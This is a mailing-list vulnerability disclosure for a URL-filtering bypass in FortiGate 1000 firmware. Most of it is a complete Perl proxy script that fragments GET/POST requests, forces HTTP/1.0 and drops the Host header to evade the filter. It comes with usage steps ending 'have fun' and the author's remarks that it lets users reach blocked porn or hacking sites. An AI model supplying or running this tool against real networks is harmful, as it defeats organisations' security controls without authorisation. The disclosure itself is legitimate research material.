<<< Date Index >>>     <<< Thread Index >>>

FortiGuard: URL Filtering Application Bypass Vulnerability



I dont know if its new but i code it during a PentTest and i would
like to share it with you.
It is based on code developed By sinhack research labs:
http://sinhack.net/URLFilteringEvasion/sakeru.tx

Description:
"Fortinet's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that fulfill 3 factors:

1.- HTTP Requests are terminated by the CRLF characters.
2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.
3.- Finally, by Fragmenting the GET or POST requests

Analysis:

Fortinet's past vulnerability
(http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said:

Moreover, while it is possible "to bypass the functionality via an
HTTP/1.0 request with no host header", the use of a host field is
actually required to access a specific site on multi-homed web sites.
When no host header is used, the intended web site is actually not
displayed. Therefore, there is no risk.

Macula's Analysis: If you dont have properly installed some AV, HIPS,
etc, through this vuln, a workstation can connect to a malicious
"Hacking Site" and get infected. Also through this vuln, you can
connect to different porn sites without problems. And no matter if its
or not multi-homed web sites. So we consider its not a low risk.


Products affected:
We only tested it on:
fortiGate-1000 3.00, build 040075,070111

Solution:
We tried to contact the vendor, but without any response.

PoC:

#!/usr/bin/perl

########################################
# fortiGuard.pl v0.1 - http://www.macula-group.com/
#
# # URL Filtering Bypass proof of concept
# Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some
minnor modifications from sinhack code)
# Based on PoC from sinhack research labs -> sakeru.pl
#
#FortiGuard's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that are terminated by the CRLF
character
#instead of the LF characters and changing version of HTTP to 1.0
without sending Host: Header and Fragmenting the GET and POST Requests
#
#Tested On: fortiGate-1000 3.00, build 040075,070111
#
#This code has been released Only for educational purposes. The author
cannot be held responsible for any bad use.
# Usage:
# 1) perl fortiGuard.pl
# 2) Configure your browser's proxy at localhost:5050
# 3) Have fun.

# --- Start Of Script---

use strict;
use URI;
use IO::Socket;

my $showOpenedSockets=1; #Activate the console logging
my $debugging=0;


my $server = IO::Socket::INET->new ( #Proxy Configuration
   LocalPort => 5050, #Change the listening port here
   Type => SOCK_STREAM,
   Reuse => 1,
   Listen => 10);

binmode $server;
print "Waiting for connections on port 5050 TCP...\n";

while (my $browser = $server->accept()) { #When a connection occure...
   binmode $browser;
   my $method="";
   my $content_length = 0;
   my $content = 0;
   my $accu_content_length = 0;
   my $host;
   my $hostAddr;
   my $httpVer;
   my $line;

   while (my $browser_line = <$browser>) { #Get the Browser commands
      unless ($method) {
        ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)
+(\S+) +(\S+)/;

        my $uri = URI->new($hostAddr);

        $host = IO::Socket::INET->new ( #Opening the connexion to the
remote host
          PeerAddr=> $uri->host,
          PeerPort=> $uri->port ) or die "couldn't open $hostAddr";


        if ($showOpenedSockets) { #Connection logs
           #print "Source:".$browser->peerhost."\n";
           my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime(time);
           $year += 1900;
           $mon += 1;
           printf ("\n%04d-%02d-%02d %02d:%02d:%02d
",$year,$mon,$mday,$hour,$min,$sec);
           print $browser->peerhost." -> ".$uri->host.":".$uri->port."
$method ".$uri->path_query."\n";;
        }

        binmode $host;
        my $char;
        if ($method == "GET") { #Fragmention the "GET" query
           foreach $char ('G','E','T',' ') { #I know, there is better
way to do it,
              print $host $char; #but I'm tired and lazy...
           }
        } elsif ($method == "POST") { #Fragmentation of "POST" query
           foreach $char ('P','O','S','T',' ') {
              print $host $char;
           }
        } else {
           print $host "$method "; #For all the other methods, send
them without modif
           print "*";
        }
        $httpVer="HTTP/1.0"; #Forzando a version 1.0
        print $host $uri->path_query . " $httpVer\r\n"; #Send the rest
of the query (url and http version)
        #next;
      }

      $content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
      $accu_content_length+=length $browser_line;

      foreach $line (split('\n', $browser_line)) { #Fragment the Host query
        if ($line =~ /^Host:/ ) {
                  #my $char="";
                   #my $word="";
                   #my $bogus="";
                   #($bogus,$word) = split(' ', $line);
                   #foreach $char ('H','o','s','t',':',' ') {
                   #print $host $char;
                   #}
                   #print $host $word."\r\n";

        } else {
           print $host "$line\r\n"; #For all the other lines, send
them without modif
        }

        if ( $debugging == 1 && $method == "POST" ) {
           print "$line\n";
        }
      }
      #Danux Clave para terminar el Request y enviarlo al servidor
web, de otra forma se queda esperando este ultimo la peticion
      print $host "\r\n";


      last if $browser_line =~ /^\s*$/ and $method ne 'POST';
      if ($browser_line =~ /^\s*$/ and $method eq "POST") {
         $content = 1;
         last unless $content_length;
         next;
      }
      #print length $browser_line . " - ";
      if ($content) {
         $accu_content_length+=length $browser_line;
         last if $accu_content_length >= $content_length;
      }
   }

   $content_length = 0;
   $content = 0;
   $accu_content_length = 0;

   my $crcount=0;
   my $totalcounter=0;
   my $packetcount=0;

   while ( my $host_line = <$host> ) { #Reception of the result from the server

      $totalcounter+=length $host_line;
      print $browser $host_line; #Send them back to the browser
      #print $host_line if ( ! $content ); #Send them back to the browser
      if ($host_line=~/Content-length: +(\d+)/i) {
       $content_length = $1;
       #print " * Expecting $content_length\n"; #if ($debugging);
      }
      if ($host_line =~ m/^\s*$/ and not $content) {
           $content = 1;
           #print " * Beginning of the data section\n";
      }
      if ($content) {
       #$accu_content_length+=length $host_line;
       if ($content_length) {
          #print " * binary data section\n";
          my $buffer;
          my $buffersize = 512;
          if ($content_length < $buffersize) { $buffersize = $content_length; }
          while ( my $nbread = read($host, $buffer, $buffersize)) {
              print "#";
             $packetcount++;
              $accu_content_length+=$nbread;
              #last if $accu_content_length >= $content_length;
              print $browser $buffer; #Send them back to the browser
              #print $buffer;
              #print "\n(#$packetcount) ";
              #print "total: $totalcounter content_length:
$content_length acc: $accu_content_length\t";
              my $tmp1 = $content_length - $accu_content_length;
              #print "length-accu= $tmp1\n";

              if ($tmp1 < $buffersize) {
               $buffersize = $tmp1;
               #print "new buffersize = $buffersize\n";
              }
           }
           #print "Out of the content while\n";
        }
      }

      #print "(#$packetcount) ";
      #print "total: $totalcounter content_length: $content_length
acc: $accu_content_length\t";
      #my $tmp1 = $content_length - $accu_content_length;
      #print "length-accu= $tmp1\n";
      last if ($accu_content_length >= $content_length and $content ==
1 and $content_length);
   }
   #print "\nOut for a while\n";


   if ($browser) { $browser -> close; } #Closing connection to the browser
   if ($host) { $host -> close; } #Closion connection to the server

}

# --- EOF ---


-- 
Danux, CISSP, OSCP
Offensive Security Consultant
Macula Security Consulting Group
www.macula-group.com